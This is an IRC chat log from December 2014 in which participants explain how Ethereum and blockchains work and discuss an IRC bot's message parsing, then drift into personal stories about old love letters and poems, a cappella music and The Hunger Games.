[2014-12-30T21:18:29-0500] <nezorg> oops, ethereum
[2014-12-30T21:19:47-0500] <@awe> This seems neat.
[2014-12-30T21:19:57-0500] <@awe> I must be dumb.
[2014-12-30T21:20:19-0500] <@awe> Whenever I read websites about crypto things like this, nothing seems tangible at all.
[2014-12-30T21:20:27-0500] <@awe> It all sounds like buzz words.
[2014-12-30T21:20:35-0500] <nezorg> what parts?
[2014-12-30T21:20:42-0500] <@awe> I had the same issue with Pidgey mentioning cjdns.
[2014-12-30T21:20:44-0500] <@awe> erm
[2014-12-30T21:20:48-0500] <@awe> Pharyngeal, not Pidgey.
[2014-12-30T21:20:57-0500] <@awe> "Ethereum is a platform and a programming language that makes it possible for any developer to build and publish next-generation distributed applications.
[2014-12-30T21:20:57-0500] <@awe> Ether, Ethereum's cryptofuel, powers the applications on the decentralized network.
[2014-12-30T21:20:57-0500] <@awe> Ethereum can be used to codify, decentralize, secure and trade just about anything: voting, domain names, financial exchanges, crowdfunding, company governance, contracts and agreements of most kind, intellectual property, and even smart property thanks to hardware integration."
[2014-12-30T21:20:58-0500] <@awe> U wot?
[2014-12-30T21:21:09-0500] <@awe> Okay, so, it's a programming language for... buzzwords.
[2014-12-30T21:21:46-0500] <nezorg> sorta buzzwords, yeah, but cool buzzwords
[2014-12-30T21:21:55-0500] <@awe> I just don't understand WHAT it is.
[2014-12-30T21:22:00-0500] <@awe> I want something simple and tangible.
[2014-12-30T21:22:15-0500] <@awe> All these websites are so abstract.
[2014-12-30T21:22:25-0500] <nezorg> read the whitepaper
[2014-12-30T21:22:33-0500] <nezorg> it's long but specific
[2014-12-30T21:23:31-0500] <@awe> I don't necessarily want specifics.
[2014-12-30T21:23:43-0500] <@awe> I just want someone to tell me outright what their software does.
[2014-12-30T21:24:11-0500] <@awe> For example, with cjdns, as far as I can tell, it's routing software for an alternative, secure IPv6 network.
[2014-12-30T21:24:20-0500] <nezorg> it's a generalized blockchain
[2014-12-30T21:24:33-0500] <@awe> I don't know if that means what I meant when I said it.
[2014-12-30T21:24:57-0500] <nezorg> basically ethereum is bitcoin but instead of using bitcoin's scripting language it has its own that's turing complete, but each step takes "ether"
[2014-12-30T21:25:11-0500] <nezorg> (thus sidestepping the annoying fact that turing completeness can put you in infinite loops)
[2014-12-30T21:26:03-0500] <@awe> bitcoin's scripting language?
[2014-12-30T21:26:04-0500] <@awe> wat?
[2014-12-30T21:26:24-0500] <nezorg> https://en.bitcoin.it/wiki/Script
[2014-12-30T21:27:51-0500] <@awe> I probably don't have a clear enough grasp on what a blockchain is then.
[2014-12-30T21:28:18-0500] <nezorg> how so?
[2014-12-30T21:29:39-0500] <nezorg> https://bitcoin.org/en/developer-guide is a reasonably good explanation
[2014-12-30T21:30:40-0500] <nezorg> (long, though)
[2014-12-30T21:31:02-0500] <@awe> Okay, so, let's put aside the entire peer-to-peer aspect.
[2014-12-30T21:31:11-0500] <jwoglom> ooh bitcoin
[2014-12-30T21:31:26-0500] <jwoglom> the blockchain is pretty cool
[2014-12-30T21:32:27-0500] <@awe> At the simplest level, a block can just be some data, a nonce, and the hash, right?
[2014-12-30T21:33:11-0500] <@awe> Let's say for simplicity's sake we're hashcash.
[2014-12-30T21:33:30-0500] <@awe> So, the algorithm is sha-1 and the hash has to start with 20 zero bits to be valid.
[2014-12-30T21:33:46-0500] <@awe> Actually, I already know that this doesn't make sense.
[2014-12-30T21:34:10-0500] <@awe> I think.
[2014-12-30T21:36:35-0500] <@awe> nezorg: can you explain this to me without the peer-to-peer validation?
[2014-12-30T21:38:27-0500] <@awe> At it's simplest, each block is just the hash of the previous block and then whatever data it contains, right?
[2014-12-30T21:39:26-0500] <@awe> So, if you have some chain of blocks like this, you know that all the data in it is what you expect if the hash of the last block in the chain is what you expect?
[2014-12-30T21:45:45-0500] <@awe> I think I'm just describing some weird sort of hash tree.
[2014-12-30T22:20:07-0500] <+hardmath123> awe: sorry, vanished, had guests
[2014-12-30T22:20:36-0500] <@awe> Nbd.
[2014-12-30T22:22:19-0500] <alokpathy> Welcome back hardmath123 
[2014-12-30T22:23:22-0500] <+hardmath123> back to cyberspace, after a momentary flirtation with reality
[2014-12-30T22:23:40-0500] <+Tamini> heh
[2014-12-30T22:23:46-0500] <+Tamini> but you're one of us again <3
[2014-12-30T22:23:49-0500] <+Tamini> I'm proud of you
[2014-12-30T22:25:23-0500] <+hardmath123> <3
[2014-12-30T22:25:32-0500] <alokpathy> :D
[2014-12-30T22:28:29-0500] <+hardmath123> awe: think of a blockchain as an expanded linked list which has (1) a datum, (2) a nonce, and (3) a hash of the previous block. A blockchain is basically that, where (3) is always less than some constant K, which is agreed upon by everyone.
[2014-12-30T22:29:04-0500] <@awe> Okay, so, I do get it.
[2014-12-30T22:29:51-0500] <+hardmath123> Good. now stop thinking of it as a linked list, and think of it as a tree.
[2014-12-30T22:30:06-0500] <@awe> How is it a tree?
[2014-12-30T22:30:18-0500] <@awe> I know that each datum is actually the root of a tree.
[2014-12-30T22:30:27-0500] <@awe> (in the case of bitcoin, anyway)
[2014-12-30T22:30:29-0500] <+hardmath123> Each member of the bitcoin network "grows" a chain from a block in the block-tree.
[2014-12-30T22:30:50-0500] <+hardmath123> Say I found a nonce that works, and you found a nonce that works.
[2014-12-30T22:31:05-0500] <@awe> Ah, right, it splits.
[2014-12-30T22:31:09-0500] <+hardmath123> I can continue *my* chain and you can continue *your* chain. We just forked the blockchian.
[2014-12-30T22:31:17-0500] <@awe> Okay, so, I get how it's a tree then.
[2014-12-30T22:31:29-0500] <@awe> It's basically a tree where the goal is to be as unbalanced as possible.
[2014-12-30T22:31:35-0500] <+hardmath123> And so you always trust the block that is farthest from the root.
[2014-12-30T22:31:53-0500] <+hardmath123> Because that has had the most computation invested in it.
[2014-12-30T22:33:18-0500] <+hardmath123> Now, if I had a quantum computer hidden in my closet and suddenly grew my very own blockchain, that's much longer than the current one, then the bitcoin network would trust whatever I said. I will have overwritten transaction history the way I wanted it (so I can sneak in a little note saying Tamini paid me 500BTC for a limerick).
[2014-12-30T22:33:26-0500] <+hardmath123> This is the so-called "51% attack".
[2014-12-30T22:33:40-0500] <@awe> Yeah, I get that.
[2014-12-30T22:34:03-0500] <@awe> So, the idea of the proof-of-work fundamentally has nothing to do with verifying the data you input.
[2014-12-30T22:34:09-0500] Tamini_ (uid33458@pdgn-vvu.9lf.7cuf9e.IP) left IRC (Quit: Connection closed for inactivity)
[2014-12-30T22:34:23-0500] <@awe> It's just to show that you cared.
[2014-12-30T22:35:46-0500] <@awe> hardmath123: say I'm working on the next block. What stops me from putting in a bunch of transactions that moves all the money to me?
[2014-12-30T22:35:48-0500] <+hardmath123> awe: Yes. The idea of proof-of-work is that we believe data that is backed by the most computation.
[2014-12-30T22:37:14-0500] <+hardmath123> awe: Because only you will be supporting your tempered block, while the rest of the world will support computation on the legit block. Their computational power wins.
[2014-12-30T22:38:07-0500] <@awe> So, what'll happen is I'll make a fork
[2014-12-30T22:38:07-0500] <+Tamini> lol
[2014-12-30T22:38:25-0500] <+Tamini> 500 btc, eh?
[2014-12-30T22:38:28-0500] <@awe> and then for some time, I may be the oldest, but then a block with the same height will be found without my bogus transactions
[2014-12-30T22:38:37-0500] <@awe> and then a new block will be found upon that
[2014-12-30T22:38:51-0500] <+hardmath123> Tamini: what, you don't think it's worth that much? :(
[2014-12-30T22:38:53-0500] <@awe> and then my block will be stale
[2014-12-30T22:38:53-0500] <@awe> right?
[2014-12-30T22:39:07-0500] <+hardmath123> awe: yeah. your block will get stale within 20 minutes, if the system works right.
[2014-12-30T22:39:35-0500] <+hardmath123> awe: the max hash-value is set by the network so that a new block is created once every 10 minutes
[2014-12-30T22:39:42-0500] <@awe> Right, I know that.
[2014-12-30T22:40:02-0500] <@awe> So, I can implement something like this where the data is whatever I want, right?
[2014-12-30T22:40:04-0500] <+hardmath123> if computers get faster (or more people get on the network), then the number gets smaller.
[2014-12-30T22:40:13-0500] <+hardmath123> Yes, it's pretty easy to implement.
[2014-12-30T22:40:44-0500] <@awe> It seems the p2p protocol part is actually the hardest part.
[2014-12-30T22:40:56-0500] <@awe> And obviously, there's a wealth of information about how to write a P2P protocol now.
[2014-12-30T22:41:30-0500] <+hardmath123> Mhm
[2014-12-30T22:42:06-0500] <@awe> So, a wallet just announces that you're using the inputs from the unspent transaction outputs that you control in a set of transactions, right?
[2014-12-30T22:42:17-0500] <+hardmath123> Bitcoin itself has a lot of crypto gunk because they additionally need to do crypto to make wallets/transactions secure.
[2014-12-30T22:42:31-0500] <+hardmath123> awe: sorry, didn't get your question.
[2014-12-30T22:44:12-0500] <+Tamini> hardmath123: of course its worth that much
[2014-12-30T22:44:13-0500] <+Tamini> just uh
[2014-12-30T22:44:24-0500] <+Tamini> i dont have that much money :(
[2014-12-30T22:44:47-0500] <@awe> hardmath123: huh?
[2014-12-30T22:45:00-0500] <@awe> hardmath123: didn't get as in you didn't understand it?
[2014-12-30T22:45:06-0500] <+hardmath123> yeah, didn't understand it
[2014-12-30T22:45:35-0500] <@awe> A wallet just announces a transaction using your UTXOs as inputs, right?
[2014-12-30T22:50:05-0500] <+hardmath123> Uh, yes.
[2014-12-30T22:51:38-0500] <+JacobEdelman> I have rearrived
[2014-12-30T22:51:55-0500] <+JacobEdelman> hardmath123, you gonna apply to PACT
[2014-12-30T22:51:57-0500] <@awe> So, yeah, literally all the complicated parts are just peer discovery and designing a peer-to-peer protoocl.
[2014-12-30T22:52:06-0500] <+hardmath123> JacobEdelman: possibly, idk
[2014-12-30T22:52:15-0500] <+JacobEdelman> do it
[2014-12-30T22:52:51-0500] <+hardmath123> JacobEdelman: also, you should fork groot-bot from jokebot. You'll be the third fork.
[2014-12-30T22:53:55-0500] <+hardmath123> awe: Yeah. I think the protocol is somewhat along the lines of "when I get a message, pass the message along to everyone I know"
[2014-12-30T22:55:01-0500] <+JacobEdelman> how do I retroactively fork something?
[2014-12-30T22:56:06-0500] <@awe> hardmath123: "elif words[1] == 'PRIVMSG' and words[2] == CHANNEL and '!joke' in words[3] and connected:"
[2014-12-30T22:56:07-0500] <+hardmath123> JacobEdelman: you don't. you fork it and then merge your changes with git. `git clone git://your-fork; git pull /path/to/other/version`
[2014-12-30T22:56:26-0500] <@awe> hardmath123: how does this work?
[2014-12-30T22:56:36-0500] <+hardmath123> awe: ?
[2014-12-30T22:56:42-0500] <@awe> the line you're receiving should look something like PRIVMSG #chan :my message
[2014-12-30T22:56:46-0500] <@awe> So, if a user sent !joke
[2014-12-30T22:56:47-0500] <@awe> it'd look like
[2014-12-30T22:56:52-0500] <@awe> PRIVMSG #chan :!joke
[2014-12-30T22:57:46-0500] <+hardmath123> no, it would look like :server-info PRIVMSG #chan :!joke
[2014-12-30T22:58:11-0500] <+hardmath123> where server-info is like ":sendak.freenode.net "
[2014-12-30T22:58:16-0500] <+hardmath123> or whatever
[2014-12-30T22:58:21-0500] <@awe> Well, yes.
[2014-12-30T22:58:25-0500] <@awe> That's not actually true.
[2014-12-30T22:58:27-0500] <@awe> But yes.
[2014-12-30T22:58:31-0500] <@awe> I was ignoring that part
[2014-12-30T22:58:48-0500] <@awe> It's actually the source of the message.
[2014-12-30T22:59:12-0500] <@awe> So, for a PRIVMSG, it's something like :nickname!username@hostname PRIVMSG #chan :!joke
[2014-12-30T22:59:22-0500] <@awe> Oh, duh.
[2014-12-30T22:59:25-0500] <@awe> !joke in words[3]
[2014-12-30T22:59:31-0500] <@awe> is just words[3].contains("!joke")
[2014-12-30T22:59:33-0500] <@awe> Derp.
[2014-12-30T22:59:35-0500] <@awe> I was reading it as ===
[2014-12-30T22:59:38-0500] <@awe> which is why I was confused.
[2014-12-30T22:59:41-0500] <+hardmath123> ah
[2014-12-30T23:00:27-0500] <@awe> This is very not robust.
[2014-12-30T23:00:52-0500] <+hardmath123> I know.
[2014-12-30T23:01:15-0500] <+hardmath123> but it's example blog-code
[2014-12-30T23:01:18-0500] <+hardmath123> it's not meant to be robust
[2014-12-30T23:01:23-0500] <+hardmath123> it's meant to be pedagogical
[2014-12-30T23:01:35-0500] <@awe> Oh, I didn't realize it was part of your blog.
[2014-12-30T23:01:53-0500] <+hardmath123> it's the code for some article
[2014-12-30T23:03:45-0500] <@awe> Yeah, I see that now.
[2014-12-30T23:04:06-0500] <@awe> JacobEdelman should've written groot bot using my IRC library
[2014-12-30T23:04:23-0500] <@awe> It'd be like six lines of code and also be really robust.
[2014-12-30T23:14:29-0500] <@awe> hardmath123: how does bitcoin do NAT traversal?
[2014-12-30T23:15:52-0500] <+hardmath123> awe: idk
[2014-12-30T23:15:57-0500] <@awe> TCP hole punching?
[2014-12-30T23:16:04-0500] <+hardmath123> idk
[2014-12-30T23:16:34-0500] <+hardmath123> that's sort of the boundary of my btc knowledge
[2014-12-30T23:19:13-0500] <@awe> Okay.
[2014-12-30T23:23:59-0500] <@awe> It's probably UPnP.
[2014-12-30T23:24:07-0500] <@awe> But UPnP is one of those black-magic-no-clear-explanations things.
[2014-12-30T23:42:39-0500] <@awe> OH god.
[2014-12-30T23:43:11-0500] <@awe> I was searching for someone on Facebook after seeing a picture that reminded me of them, went to my emails to try to find more info to maybe find them, and then stumbled upon some of my robotics emails.
[2014-12-30T23:43:35-0500] <@awe> specifically, one wherein I complained to all of our mentors about the fact that two of our captains were bullying me.
[2014-12-30T23:43:52-0500] <@awe> to which I got two sincere replies and then nothing really changed.
[2014-12-30T23:43:54-0500] <@awe> Because things.
[2014-12-30T23:44:02-0500] <+Tamini> oh, that story
[2014-12-30T23:44:06-0500] <+Tamini> it's so depressing :/
[2014-12-30T23:45:28-0500] <@awe> My email was super pretentious.
[2014-12-30T23:45:35-0500] <@awe> It was entitled "With Regards To Leadership"
[2014-12-30T23:45:56-0500] <+hardmath123> lol
[2014-12-30T23:47:16-0500] <@awe> hardmath123: When I was your age, I was a pretentious little shit.
[2014-12-30T23:47:21-0500] <@awe> I'm still really pretentious.
[2014-12-30T23:47:25-0500] <@awe> But it's different.
[2014-12-30T23:47:33-0500] <bob_twinkles> now you're a big shit? =P
[2014-12-30T23:47:39-0500] <+Tamini> awe: how did you change?
[2014-12-30T23:47:48-0500] <@awe> I'd like to think I got rid of the shit part.
[2014-12-30T23:48:10-0500] <@awe> From 15 to 17, my solution to almost every problem was to email someone an essay.
[2014-12-30T23:48:12-0500] <@awe> I'm not even joking.
[2014-12-30T23:49:03-0500] <+hardmath123> I used to do that until I realized that nobody reads anything longer than a paragraph.
[2014-12-30T23:49:15-0500] <@awe> I have like
[2014-12-30T23:49:25-0500] <@awe> Five different essays that I wrote to this one girl over the course of junior year.
[2014-12-30T23:49:42-0500] <bob_twinkles> o_o
[2014-12-30T23:49:46-0500] <+Tamini> Can I see these
[2014-12-30T23:49:49-0500] <@awe> Oh my god.
[2014-12-30T23:49:50-0500] <+Tamini> I think I read one or two
[2014-12-30T23:49:53-0500] <+hardmath123> I'm pretty sure essays to girls don't count.
[2014-12-30T23:49:55-0500] <+Tamini> if they were on your blog
[2014-12-30T23:50:02-0500] <@awe> hardmath123: they weren't exactly love essays.
[2014-12-30T23:50:09-0500] <@awe> hardmath123: they were apologies, of sorts.
[2014-12-30T23:50:16-0500] <+Tamini> I've written a really really long apology/love letter
[2014-12-30T23:50:21-0500] <+hardmath123> oh my
[2014-12-30T23:50:23-0500] <+Tamini> that ended with an angry rant
[2014-12-30T23:50:27-0500] <+Tamini> I don't remember much of it anymore
[2014-12-30T23:50:35-0500] <+Tamini> someone on this channel might >.>
[2014-12-30T23:50:50-0500] <@awe> I have two robotics essays.
[2014-12-30T23:51:02-0500] <+Tamini> awe: I want to see the girl essays
[2014-12-30T23:51:02-0500] <@awe> And yeah, five essays to this one girl.
[2014-12-30T23:51:09-0500] <+Tamini> because I also think essays solve relationship problems
[2014-12-30T23:51:19-0500] <+Tamini> I think I might be wrong though, because my success rates are highly low
[2014-12-30T23:51:37-0500] <alokpathy> They worked for me.
[2014-12-30T23:52:05-0500] <+Tamini> wait wait whoa
[2014-12-30T23:52:07-0500] <alokpathy> They don't work well with starting relationships though.
[2014-12-30T23:52:09-0500] <+Tamini> alokpathy is joining this boat?
[2014-12-30T23:52:12-0500] <+Tamini> LOL
[2014-12-30T23:52:18-0500] <alokpathy> I'm always here :P
[2014-12-30T23:52:23-0500] <+Tamini> okay thank god, you just stopped me from asking a guy out with an essay /s
[2014-12-30T23:52:26-0500] <@awe> I feel a little less bad about myself knowing that other people also wrote essays for everything.
[2014-12-30T23:52:27-0500] <alokpathy> except when I'm not.
[2014-12-30T23:52:28-0500] <+Tamini> OH MY GOD YOU SAY SHANT
[2014-12-30T23:52:33-0500] <@awe> I asked a girl out with a poem once!
[2014-12-30T23:52:35-0500] <@awe> It was really cute!
[2014-12-30T23:52:38-0500] <+hardmath123> Aww
[2014-12-30T23:52:39-0500] <@awe> I have the poem, too!
[2014-12-30T23:52:41-0500] <+Tamini> awe: lemme seeee
[2014-12-30T23:52:44-0500] <+Tamini> post it for everyone
[2014-12-30T23:52:47-0500] <alokpathy> awe: I did with an essay. It didn't work LOL
[2014-12-30T23:52:50-0500] <@awe> I have *so* many poems.
[2014-12-30T23:52:50-0500] <alokpathy> I think I creeped her out.
[2014-12-30T23:53:00-0500] <+Tamini> let's share all our embarrassing love endeavors
[2014-12-30T23:53:00-0500] <@awe> I did it well.
[2014-12-30T23:53:02-0500] <@awe> I tested the waters.
[2014-12-30T23:53:04-0500] <+Tamini> I actually have a notebook of love letters
[2014-12-30T23:53:05-0500] <@awe> I had her read some of my other poems first.
[2014-12-30T23:53:15-0500] <@awe> Which were all love poems, but not necessarily about her.
[2014-12-30T23:53:17-0500] <@awe> (they were about her)
[2014-12-30T23:53:19-0500] <+Tamini> LOL
[2014-12-30T23:53:25-0500] <@awe> and she seemed to be liking them
[2014-12-30T23:53:27-0500] <+hardmath123> yikes
[2014-12-30T23:53:28-0500] <@awe> So, I dropped the bomb
[2014-12-30T23:53:41-0500] <@awe> https://docs.google.com/document/d/1Qv_xCSceP4PxHS2QGfZzuoynPDVnrc15dm_s3cV3lZ0/edit?usp=sharing
[2014-12-30T23:53:48-0500] <+hardmath123> since when are people on IRC so courageous? :/
[2014-12-30T23:53:50-0500] <+hardmath123> :P
[2014-12-30T23:54:02-0500] <+Tamini> so cute <3
[2014-12-30T23:54:05-0500] <+Tamini> hardmath123: ask out girls
[2014-12-30T23:54:08-0500] <+Tamini> worst they can say is say no
[2014-12-30T23:54:10-0500] <+Tamini> or like
[2014-12-30T23:54:11-0500] <+Tamini> worse but
[2014-12-30T23:54:14-0500] <@awe> hardmath123: I've been in a relationship forever.
[2014-12-30T23:54:21-0500] <+Tamini> the worst probable thing they can do is say no
[2014-12-30T23:54:21-0500] <alokpathy> Adorbz
[2014-12-30T23:54:25-0500] <@awe> hardmath123: I was single for a total of like five months throughout high school.
[2014-12-30T23:54:28-0500] <+Tamini> awe and I both have a tendency to be like
[2014-12-30T23:54:37-0500] <+Tamini> guilty of serial monogamy
[2014-12-30T23:54:39-0500] <@awe> For those of you who don't speak French, the last two lines mean "Would you like to make an end together?"
[2014-12-30T23:54:54-0500] <+Tamini> OH WAIT OH MY GOD
[2014-12-30T23:54:56-0500] <@awe> Thankfully, she spoke French and therefore I did not have to explain that to her.
[2014-12-30T23:55:02-0500] <+Tamini> I found a really really good love letter in my outbox
[2014-12-30T23:55:15-0500] <+Tamini> but its pgp encrypted
[2014-12-30T23:55:33-0500] <+hardmath123> That's probably how you can tell it's really good.
[2014-12-30T23:56:02-0500] <+Tamini> I don't think I'm allowed to share things that I can't access anymore in plaintext
[2014-12-30T23:56:34-0500] <+Tamini> but yeah, I did use essays to solve all my problems at a point...
[2014-12-30T23:57:02-0500] <@awe> Oh god. PGP-encrypted love letters.
[2014-12-30T23:57:04-0500] <+Tamini> alokpathy: you should share your essays
[2014-12-30T23:57:12-0500] <@awe> The nerdiest girl I ever dated was the one who I asked out with that poem.
[2014-12-30T23:57:15-0500] <+Tamini> awe: you know me, you know my ex. Why is this a surprise
[2014-12-30T23:57:16-0500] <+Tamini> :P
[2014-12-30T23:57:20-0500] <@awe> But she wouldn't have known how to PGP.
[2014-12-30T23:57:47-0500] <+Tamini> I think you gave both of us our keybase invites
[2014-12-30T23:57:54-0500] <@awe> Maybe.
[2014-12-30T23:57:54-0500] <alokpathy> Tamini: I don't have them.
[2014-12-30T23:58:03-0500] <alokpathy> Tamini: I wrote them on paper and gave them.
[2014-12-30T23:58:15-0500] <+Tamini> so did I for lots of them
[2014-12-30T23:58:17-0500] <+Tamini> darn
[2014-12-30T23:58:21-0500] <@awe> https://docs.google.com/document/d/13H1-aJExWy6yf004wbk7X0Z14sVnB0QU2-ZpeZEkb3k/edit?usp=sharing
[2014-12-30T23:58:23-0500] <+Tamini> all of mine were so good
[2014-12-30T23:58:23-0500] <@awe> Can you guys feel the angst?
[2014-12-30T23:58:24-0500] <@awe> I can.
[2014-12-30T23:58:30-0500] <+Tamini> and SO ANGSTY OH MY GOD
[2014-12-30T23:58:38-0500] <+Tamini> are we sharing like
[2014-12-30T23:58:41-0500] <+Tamini> embarrassing moments
[2014-12-30T23:58:44-0500] <@awe> Yeah, sure.
[2014-12-30T23:58:54-0500] <+Tamini> hey sammy wanna decrypt some of my old emails to you
[2014-12-30T23:59:02-0500] <@awe> I have a fuck load of angsty poems.
[2014-12-30T23:59:07-0500] <+Tamini> heh.
[2014-12-30T23:59:10-0500] <@awe> And a haiku about dicks.
[2014-12-30T23:59:13-0500] <+Tamini> wat
[2014-12-30T23:59:15-0500] <+Tamini> i wana see this
[2014-12-30T23:59:18-0500] <@awe> https://docs.google.com/document/d/1_lLdVcPBwg19zR6kWeQF2vtdfmE103NArrOfJC6dAIs/edit?usp=sharing
[2014-12-30T23:59:26-0500] <@awe> There's a background story.
[2014-12-30T23:59:49-0500] <@awe> The girl I was dating, this same one I've been talking about (not the one I wrote the essays to), was telling me about how her school had a poetry club
[2014-12-30T23:59:54-0500] <+Tamini> lol
[2014-12-30T23:59:59-0500] <@awe> and how one time they were sitting around and said "We'll write a poem about ANYTHING."
[2014-12-31T00:00:03-0500] <@awe> So, she asked them to write a poem about dicks.
[2014-12-31T00:00:04-0500] <@awe> They refused.
[2014-12-31T00:00:09-0500] <@awe> So, I wrote her a poem about dicks.
[2014-12-31T00:00:18-0500] <+Tamini> heh
[2014-12-31T00:00:31-0500] <@awe> We had a good laugh.
[2014-12-31T00:00:47-0500] <+Tamini> you have the cutest relationships.
[2014-12-31T00:01:22-0500] <+Tamini> WAIT
[2014-12-31T00:01:23-0500] <+Tamini> oh my god awe
[2014-12-31T00:01:28-0500] <@awe> ?
[2014-12-31T00:04:27-0500] <+Tamini> all of your letters are really freaking long
[2014-12-31T00:04:44-0500] <+Tamini> and really angsty and I'm no longer sure if they're cute or creepy
[2014-12-31T00:04:52-0500] <@awe> alokpathy: you didn't get into CMU yet, right?
[2014-12-31T00:05:09-0500] <@awe> Tamini: the essays to that girl definitely are both.
[2014-12-31T00:05:18-0500] <+Tamini> a little bit pathetic too 
[2014-12-31T00:05:20-0500] <alokpathy> awe: I haven't had my decision yet, no.
[2014-12-31T00:05:20-0500] <+Tamini> the third one
[2014-12-31T00:05:25-0500] <@awe> Okay.
[2014-12-31T00:05:39-0500] <alokpathy> Also uh "yet" I hope LOL
[2014-12-31T00:05:56-0500] <+Tamini> you'll get in
[2014-12-31T00:05:57-0500] <+Tamini> you better get in
[2014-12-31T00:06:01-0500] <alokpathy> I really want to.
[2014-12-31T00:06:09-0500] <+Tamini> if my two favorite people end up at cmu i'll be really happy
[2014-12-31T00:06:13-0500] <alokpathy> I'd definitely try to help with pico.
[2014-12-31T00:06:18-0500] <alokpathy> Who's the second?
[2014-12-31T00:06:50-0500] <alokpathy> btw this is so good https://www.youtube.com/watch?v=WSUFzC6_fp8
[2014-12-31T00:07:27-0500] <+Tamini> wow implying you're one of them :P
[2014-12-31T00:07:34-0500] <+Tamini> and a senior from my school
[2014-12-31T00:07:44-0500] <alokpathy> Tamini: I mean, you sorta implied I was one of them.
[2014-12-31T00:07:55-0500] <+Tamini> :P
[2014-12-31T00:07:57-0500] <+Tamini> you are you are <3
[2014-12-31T00:08:06-0500] <alokpathy> <3
[2014-12-31T00:08:24-0500] <@awe> alokpathy: yeah, Pentatonix are good.
[2014-12-31T00:08:36-0500] <alokpathy> I've only heard of them before.
[2014-12-31T00:08:43-0500] <alokpathy> This is so good <3
[2014-12-31T00:09:12-0500] <@awe> alokpathy: http://youtu.be/aE2GCa-_nyU << this is awesome
[2014-12-31T00:10:28-0500] <alokpathy> Dang yo
[2014-12-31T00:10:36-0500] <alokpathy> awe: Oh you're learning the violin, right?
[2014-12-31T00:10:40-0500] <alokpathy> awe: How's that going?
[2014-12-31T00:10:49-0500] <+Tamini> this is so cool
[2014-12-31T00:11:43-0500] <+hardmath123> Have y'all heard of Take 6?
[2014-12-31T00:12:14-0500] <+Tamini> yep!
[2014-12-31T00:12:25-0500] <+JacobEdelman> nope!
[2014-12-31T00:12:32-0500] <alokpathy> I haven't heard of many a cappella groups
[2014-12-31T00:12:33-0500] <@awe> alokpathy: lol I uhh...
[2014-12-31T00:12:40-0500] <@awe> alokpathy: I'm sort of not friends anymore with the person who was teaching me.
[2014-12-31T00:12:47-0500] <alokpathy> awe: Oh, darn :/
[2014-12-31T00:12:48-0500] <+JacobEdelman> I havn't heard of music
[2014-12-31T00:13:25-0500] <+Tamini> good acapella is amazing
[2014-12-31T00:13:31-0500] <alokpathy> awe: Was that the same person who was teaching you the other instrument?
[2014-12-31T00:13:41-0500] <@awe> Yes.
[2014-12-31T00:13:44-0500] <@awe> Wait.
[2014-12-31T00:13:45-0500] <@awe> What?
[2014-12-31T00:13:48-0500] <@awe> What other instrument?
[2014-12-31T00:13:55-0500] <alokpathy> awe: I thought you said you were learning the violin + something else
[2014-12-31T00:14:00-0500] <alokpathy> I don't remember what the other one was.
[2014-12-31T00:14:02-0500] <+JacobEdelman> awe: I'm listening to your video
[2014-12-31T00:14:04-0500] <@awe> I don't know.
[2014-12-31T00:14:09-0500] <+JacobEdelman> and I feel like I heard this tune
[2014-12-31T00:14:11-0500] <+JacobEdelman> somewhere
[2014-12-31T00:14:12-0500] <+JacobEdelman> before
[2014-12-31T00:14:15-0500] <@awe> JacobEdelman: maybe the radio?
[2014-12-31T00:14:21-0500] <+JacobEdelman> nah
[2014-12-31T00:14:21-0500] <@awe> JacobEdelman: it's a version of a song that had serious airplay.
[2014-12-31T00:14:24-0500] <+JacobEdelman> in a different song
[2014-12-31T00:14:25-0500] <+Tamini> lol
[2014-12-31T00:14:26-0500] <+JacobEdelman> ah
[2014-12-31T00:14:31-0500] <+JacobEdelman> than maybe thats it
[2014-12-31T00:14:38-0500] <@awe> JacobEdelman: Radioactive by Imagine Dragons
[2014-12-31T00:14:38-0500] <+JacobEdelman> maybe
[2014-12-31T00:14:44-0500] <+JacobEdelman> its just the beggening I imagine
[2014-12-31T00:14:48-0500] <+JacobEdelman> *remember
[2014-12-31T00:14:50-0500] <@awe> alokpathy: It probably was, if I was learning something else.
[2014-12-31T00:16:09-0500] <+JacobEdelman> awe: I
[2014-12-31T00:16:16-0500] <+JacobEdelman> I' quite enjoying this song
[2014-12-31T00:16:18-0500] <+JacobEdelman> *I'm
[2014-12-31T00:16:21-0500] <+JacobEdelman> darn keyboard
[2014-12-31T00:17:06-0500] <+hardmath123> My favorite Take 6 track is "Windmills of your Mind"
[2014-12-31T00:17:07-0500] <@awe> I love violin, yo.
[2014-12-31T00:17:09-0500] <+hardmath123> really well done
[2014-12-31T00:23:44-0500] <+Tamini> heh
[2014-12-31T00:23:45-0500] <+Tamini> i like it
[2014-12-31T00:23:48-0500] <+Tamini> it's beautiful
[2014-12-31T00:40:11-0500] <alokpathy> Is the Hunger Games a good series to read?
[2014-12-31T00:40:53-0500] <@awe> Depends on how much you like pop fiction.
[2014-12-31T00:41:43-0500] <+JacobEdelman> I'm liking imagine dragons
[2014-12-31T00:41:51-0500] <+JacobEdelman> hunger games isn't great
[2014-12-31T00:41:54-0500] <@awe> Imagine Dragons is good.
[2014-12-31T00:41:59-0500] <@awe> I agree, I don't like Hunger Games.
[2014-12-31T00:42:01-0500] <+JacobEdelman> theres lots of other better sci fi than hunger games
[2014-12-31T00:42:15-0500] <+Tamini> first book is okay
[2014-12-31T00:42:20-0500] <+Tamini> it goes downhill from there
[2014-12-31T00:42:23-0500] <+JacobEdelman> (its not horrible, but it should not be picked out as a specificseries)
[2014-12-31T00:42:25-0500] <+JacobEdelman> well
[2014-12-31T00:42:25-0500] <+Tamini> lots of better books out there
[2014-12-31T00:42:30-0500] <+JacobEdelman> the last book is debatable
[2014-12-31T00:42:33-0500] <+JacobEdelman> some people hated it
[2014-12-31T00:42:35-0500] <+JacobEdelman> some loved it
[2014-12-31T00:42:36-0500] <+Tamini> the last book isn't good
[2014-12-31T00:42:43-0500] <+JacobEdelman> most are in the hate camp :)
[2014-12-31T00:42:46-0500] <+Tamini> :P
[2014-12-31T00:42:52-0500] <nezorg> I don't think anyone will argue the hunger games is a good book, but it's enjoyable to some audiences
[2014-12-31T00:42:58-0500] <+Tamini> pop fiction, yeah
[2014-12-31T00:42:59-0500] <jwoglom> i found the second book boring, and the third weird
[2014-12-31T00:43:00-0500] <+Tamini> usually how it goes
[2014-12-31T00:43:09-0500] <+Tamini> hey nezorg: you missed the embarrassing past party
[2014-12-31T00:43:18-0500] <nezorg> too bad
[2014-12-31T00:43:26-0500] <+Tamini> anything to share?
[2014-12-31T00:43:26-0500] <+Tamini> :P
[2014-12-31T00:43:34-0500] <+Tamini> I can't read any of the love letters I emailed, which is probably good for me
[2014-12-31T00:43:41-0500] <nezorg> I once read the hunger games
